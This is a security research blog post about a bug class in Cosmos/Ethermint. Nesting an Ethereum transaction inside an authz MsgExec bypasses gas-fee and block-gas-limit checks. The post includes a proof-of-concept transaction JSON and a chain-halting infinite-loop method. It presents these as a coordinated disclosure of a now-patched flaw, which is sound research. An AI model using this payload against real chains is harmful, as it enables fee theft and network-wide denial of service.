Stealing Gas: Bypassing Ethermint Ante Handlers

Introduction

This blog post describes a largely unknown bug class that affects Cosmos-based blockchains and its impact on Ethermint, a popular EVM implementation. We privately disclosed the issue to the Ethermint and Cronos teams and collaborated with them to notify other affected chains. Thanks to these efforts, no malicious exploitation occurred, and all major chains that rely on Ethermint are now patched.

As part of our efforts as builders, researchers, and collaborators in the crypto space, one of our goals at Jump Crypto is to improve security assurance across the entire ecosystem. Our specialized security team has ongoing research efforts dedicated to discovering and patching vulnerabilities across projects via coordinated disclosure. This announcement once again brings these efforts to light.

Technical Details

Ethermint is a popular EVM runtime for Cosmos. Originally developed for EVMOS, it is now used by some of the largest chains in the Cosmos ecosystem including Cronos, Kava, and Canto.

Under the hood, Ethermint is a Cosmos SDK module that defines its own state, message types, handlers, and events. To enable the submission and execution of Ethereum transactions on the chain, it defines a new Cosmos SDK message type called MsgEthereumTx:

// MsgEthereumTx encapsulates an Ethereum transaction as an SDK message.
message MsgEthereumTx {
  option (gogoproto.goproto_getters) = false;

  // data is inner transaction data of the Ethereum transaction
  google.protobuf.Any data = 1;

  // size is the encoded storage size of the transaction (DEPRECATED)
  double size = 2 [(gogoproto.jsontag) = "-"];
  // hash of the transaction in hex format
  string hash = 3 [(gogoproto.moretags) = "rlp:\"-\""];
  // from is the ethereum signer address in hex format. This address value is checked
  // against the address derived from the signature (V, R, S) using the
  // secp256k1 elliptic curve
  string from = 4;
}

A user that wants to submit one or more Ethereum transactions to an Ethermint-enabled Cosmos chain can create a Cosmos transaction with MsgEthereumTx messages and send them to the chain. Before the message is processed by its corresponding message handler, the Cosmos transaction gets processed by a number of Ante Handlers defined by Ethermint.

Ante handlers are a fundamental building block of Cosmos-based blockchains. Ante handlers are functions that are executed on each received Cosmos transaction before the actual message processing occurs. They are chained and can either forward a transaction to the next handler or return an error to drop the transaction. The default Cosmos-SDK module /x/auth uses Ante handlers to provide fundamental features like signature verification.

Ethermint provides its own set of Ante handlers to correctly process Cosmos transactions that contain MsgEthereumTx messages:

func NewAnteHandler(options HandlerOptions) (sdk.AnteHandler, error) {
  [..]

	return func(
		ctx sdk.Context, tx sdk.Tx, sim bool,
	) (newCtx sdk.Context, err error) {
		var anteHandler sdk.AnteHandler

		defer Recover(ctx.Logger(), &err)

		txWithExtensions, ok := tx.(authante.HasExtensionOptionsTx)
		if ok {
			opts := txWithExtensions.GetExtensionOptions()
			if len(opts) > 0 {
				switch typeURL := opts[0].GetTypeUrl(); typeURL {
				case "/ethermint.evm.v1.ExtensionOptionsEthereumTx":
					// handle as *evmtypes.MsgEthereumTx
					anteHandler = newEthAnteHandler(options)
				case "/ethermint.types.v1.ExtensionOptionsWeb3Tx":
					// Deprecated: Handle as normal Cosmos SDK tx, except signature is checked for Legacy EIP712 representation
					anteHandler = NewLegacyCosmosAnteHandlerEip712(options)
				case "/ethermint.types.v1.ExtensionOptionDynamicFeeTx":
					// cosmos-sdk tx with dynamic fee extension
					anteHandler = newCosmosAnteHandler(options)
				default:
					return ctx, errorsmod.Wrapf(..)
				}

				return anteHandler(ctx, tx, sim)
			}
		}

		// handle as totally normal Cosmos SDK tx
		switch tx.(type) {
		case sdk.Tx:
			anteHandler = newCosmosAnteHandler(options)
		default:
			return ctx, errorsmod.Wrapf(errortypes.ErrUnknownRequest, "invalid transaction type: %T", tx)
		}

		return anteHandler(ctx, tx, sim)
	}, nil
}

func newEthAnteHandler(options HandlerOptions) sdk.AnteHandler {
	return sdk.ChainAnteDecorators(
		NewEthSetUpContextDecorator(options.EvmKeeper),                         // outermost AnteDecorator. SetUpContext must be called first
		NewEthMempoolFeeDecorator(options.EvmKeeper),                           // Check eth effective gas price against minimal-gas-prices
		NewEthMinGasPriceDecorator(options.FeeMarketKeeper, options.EvmKeeper), // Check eth effective gas price against the global MinGasPrice
		NewEthValidateBasicDecorator(options.EvmKeeper),
		NewEthSigVerificationDecorator(options.EvmKeeper),
		NewEthAccountVerificationDecorator(options.AccountKeeper, options.EvmKeeper),
		NewCanTransferDecorator(options.EvmKeeper),
		NewEthGasConsumeDecorator(options.EvmKeeper, options.MaxTxGasWanted),
		NewEthIncrementSenderSequenceDecorator(options.AccountKeeper), // innermost AnteDecorator.
		NewGasWantedDecorator(options.EvmKeeper, options.FeeMarketKeeper),
		NewEthEmitEventDecorator(options.EvmKeeper), // emit eth tx hash and index at the very last ante handler.
	)
}

When processing a transaction with the /ethermint.evm.v1.ExtensionOptionsEthereumTx option, it will be pushed to an Ethermint-specific ante handler chain. This chain enforces that all messages in the transaction are of type MsgEthereumTx.

From a security perspective, one of the more interesting handlers is the EthGasConsumeDecorator. It is responsible for deducting gas fees from the sender's account and enforcing Ethermint's block gas limit. This limit restricts the number of computations that a (malicious) Ethereum transaction can perform.

Looking back at the NewAnteHandler function shown above, one potential attack would be to send a Cosmos transaction that includes MsgEthereumTx messages but does not specify the /ethermint.evm.v1.ExtensionOptionsEthereumTx extension option. In this case, the normal Cosmos SDK Ante handlers get invoked, no EVM gas fees are deducted and the block gas limit isn’t enforced. As it turns out, this attack was possible and was fixed after a bug bounty report to the Cronos project.

The fix on Cronos added a RejectMessagesDecorator to the non-ETH Ante handler chain that blocks transactions with MsgEthereumTx messages, removing this attack vector:

func (rmd RejectMessagesDecorator) AnteHandle(ctx sdk.Context, tx sdk.Tx, simulate bool, next sdk.AnteHandler) (newCtx sdk.Context, err error) {
	for _, msg := range tx.GetMsgs() {
		if _, ok := msg.(*evmtypes.MsgEthereumTx); ok {
			return ctx, errorsmod.Wrapf(
				errortypes.ErrInvalidType,
				"MsgEthereumTx needs to be contained within a tx with 'ExtensionOptionsEthereumTx' option",
			)
		}
	}
	return next(ctx, tx, simulate)

With this fix in place, it turns out that there is yet another way to bypass the Ethermint handlers:

While RejectMessagesDecorator is very simple, it is an interesting example of an Ante Handler operating on messages. Instead of enforcing or validating a complete Cosmos transaction on its own, the handler iterates through all messages in the transaction and performs a check or action on each of them.

This pattern can be problematic because Cosmos provides a way to submit messages to the chain without directly embedding them into a transaction:

Several standard Cosmos SDK modules support embedded or nested messages. Examples include x/gov Governance proposals, x/group MsgExec, and x/authz MsgExec. While governance proposals require voting and the x/group module is not used by any major Ethermint chains, the authorization module x/authz is more widely used. x/authz allows granting privileges from one account (the granter) to another one (the grantee). Afterward, the grantee can execute messages as the granter using the MsgExec message type shown below:

message MsgExec {
  option (cosmos.msg.v1.signer) = "grantee";

  string grantee = 1 [(cosmos_proto.scalar) = "cosmos.AddressString"];
  // Authorization Msg requests to execute. Each msg must implement Authorization interface
  // The x/authz will try to find a grant matching (msg.signers[0], grantee, MsgTypeURL(msg))
  // triple and validate it.
  repeated google.protobuf.Any msgs = 2 [(cosmos_proto.accepts_interface) = "sdk.Msg, authz.Authorization"];

As Ethermint’s Ante handlers only validate MsgEthereumTx messages and do not consider nested message types, an attacker can bypass the EthGasConsumeDecorator by embedding a MsgEthereumTx inside a MsgExec as shown in the example below:

"body": {
    "messages": [
      {
        "@type": "/cosmos.authz.v1beta1.MsgExec",
        "grantee": "crc1q04jewhxw4xxu3vlg3rc85240h9q7ns6hglz0g",
        "msgs": [
          {
            "@type": "/ethermint.evm.v1.MsgEthereumTx",
            "data": {
              "@type": "/ethermint.evm.v1.LegacyTx",
              "nonce": "8",
              "gas_price": "7",
              "gas": "999999999999",
              "to": "0x60DD27A3FbB76e158F6e7EE4F1FB926a052CF2ab",
              "value": "0",
              "data": "qSEAyw==",
              "v": "BjY=",
              "r": "qaJ6tUAIqPQ/neu+fYXEeWoCJtwnssAd9jLbQ2ee/u4=",
              "s": "JFSlZnGfL/jqBnDjVvmqbGZ+Qt4Mnr03wqRIPKNALtM="
            },
            "size": 0,
            "hash": "0xbc966954bc4154e81ce06d2227f656572ae13fc44b39587ba23d672a01c45edb",
            "from": ""
          }
        ]
      }
    ],
    "memo": "",
    "timeout_height": "0",
    "extension_options": [],
    "non_critical_extension_options": []
  },
  "auth_info": {
    "signer_infos": [],
    "fee": {
      "amount": [
        {
          "denom": "basetcro",
          "amount": "9999998990000001"
        }
      ],
      "gas_limit": "9999999",
      "payer": "",
      "granter": ""
    },
    "tip": null
  },
  "signatures": []
}

Bypassing the handler gives an attacker two capabilities:

• Theft of transaction fees: After Ethermint processes an EVM transaction, leftover gas is refunded to the sender account: Because we never paid for gas in the first place we can use this refund to steal transaction fees from the current block by simply sending a transaction with more gas than required.
• Denial of service: The much bigger problem is that an attacker can use this bug to bypass the block gas limit and gas payment completely to perform a full denial-of-service against the chain: In the first step, the attacker deploys a simple smart contract with an infinite loop to the chain. In the second step, the attacker calls the smart contract using an embedded transaction with an extremely high gas value (UINT64 max or similar). Once the transaction is included in a block, nodes will attempt to execute the EVM transaction with almost infinite gas and become stuck. This stops new block creation and effectively halts the chain, requiring manual recovery of the chain nodes.

The Ethermint/EVMOS team fixed the issue by introducing an additional Ante handler to affected chains: The AuthzLimiterDecorator restricts the message types that are allowed inside an Authz message. Interestingly, the origin of this code is a commit to the Kava chain in May 2022, where developers already recognized the problem but did not seem to be aware of the security implications.

Although the new handler addresses the issue, it’s important to understand it isn’t foolproof. If other modules that allow nested messages (such as the ICS-27 interchain account module) or the dynamic generation of Cosmos messages (like Cosmwasm) are implemented, it opens up the possibility of this particular bug being reintroduced. Additionally, while our research focused on Ante handlers specific to Ethermint, all Cosmos Ante handlers are susceptible to this issue. Cosmos developers should perform a clear risk assessment before introducing nested messages to a codebase. Security engineers reviewing Cosmos-based chains should pay special attention to the impact of Ante handler bypasses on the target.

Conclusion

The great flexibility offered by Cosmos-SDK allows for the rapid development of new application-specific blockchains. Powerful modules like Ethermint make it easy to spin up a new EVM-compatible blockchain. However, this great level of flexibility and composability can also lead to serious security issues highlighted in this blog post.

We would like to thank the Ethermint/EVMOS team for their impactful collaboration on this research and their work on notifying and patching chains across the ecosystem. The positive outcome of this disclosure clearly demonstrates the value of a healthy open-source ecosystem. We also want to thank the Cronos team for awarding a $25,000 bounty for this vulnerability which we will donate to MSF.